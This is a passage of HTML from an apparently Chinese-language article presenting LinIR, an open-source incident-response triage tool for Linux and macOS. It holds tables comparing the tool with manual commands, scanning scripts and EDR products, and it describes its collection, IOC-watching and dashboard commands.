255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">和手工命令行对比</span></span></h3><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">维度</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">手工命令行</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">LinIR</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">信任模型</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">完全信任系统命令</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">零信任，直接读内核接口</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">rootkit 对抗</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">无</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">多源交叉验证（进程/网络/文件/模块视图对比）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">环境检测</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">无</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">自检 LD_PRELOAD/PATH/DYLD 污染</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">结果格式</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">文本，需人工整理</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">JSON/CSV/文本/tar.gz 分诊包</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">可重复性</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">低（依赖操作者经验）</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">高（同一二进制，同一输出结构）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">评分</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">无</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">加权证据评分 0-100</span></p></td></tr></tbody></table><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">和自动化脚本（GScan、LinPEAS 等）对比</span></span></h3><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">维度</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">典型脚本工具</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">LinIR</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">实现方式</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">Shell/Python，调用系统命令</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">纯 Go，直接读 /proc 和 syscall</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">rootkit 场景</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">输出可被篡改</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">不经过用户态工具链</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">跨平台</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">通常仅 Linux</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">Linux + macOS 统一</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">依赖</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">需要 bash/python/perl</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">零依赖，静态二进制</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">维护成本</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">脚本碎片化</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">单一代码库，类型安全</span></p></td></tr></tbody></table><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">和 EDR/商业方案对比</span></span></h3><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">维度</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">EDR</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">LinIR</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">部署</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">需安装 agent，持续运行</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">单次执行，用完即走</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">权限</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">需要持久化 root 权限</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">按需 sudo，不驻留</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">适用场景</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">持续监控</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">事后分诊、IOC 排查</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">联网要求</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">通常需要云端通信</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">完全离线可用</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">费用</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">商业授权</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">MIT 开源</span></p></td></tr></tbody></table><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">LinIR 不是 EDR 的替代品。</span></strong><span leaf=""> 它更像是应急响应人员的&#34;一次性手术刀&#34;——拖上去、扎一刀、取证据、撤走。不需要安装，不需要配置，不需要联网。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">四、核心功能</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">一次性采集</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一条命令完成全套采集：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">sudo ./linir collect --yara-rules /opt/rules/ --bundle</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">自动执行：自检 → 环境预检 → 进程枚举 → 网络采集 → 持久化扫描 → 完整性检查 → 跨域关联 → YARA 扫描 → 证据评分 → 输出（JSON + 文本 + CSV + tar.gz）。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">IOC 在线监控</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">sudo ./linir watch --iocs ./iocs.txt</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">持续监控主机网络连接，与 IOC 列表实时比对。三层监控架构：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">层 1</span></strong><span leaf="">：Linux conntrack netlink / macOS BPF 事件驱动（零遗漏）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">层 2</span></strong><span leaf="">：/proc/net/nf_conntrack 轮询（RST 连接保留 ~10s）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">层 3</span></strong><span leaf="">：/proc/net/tcp 轮询（通用回退）</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">命中后自动补采进程上下文、二进制哈希、持久化关联、YARA 扫描，形成结构化、带评分的命中事件。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">Web 仪表盘</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">sudo ./linir gui</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">暗色主题的交互式仪表盘，支持一键采集、风险评分可视化、进程/网络/持久化表格搜索过滤、IOC 实时监控（SSE 事件流）、YARA 扫描。全部通过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">go:embed</span></code><span leaf=""> 打包到二进制中，无额外文件。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">评分体系</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 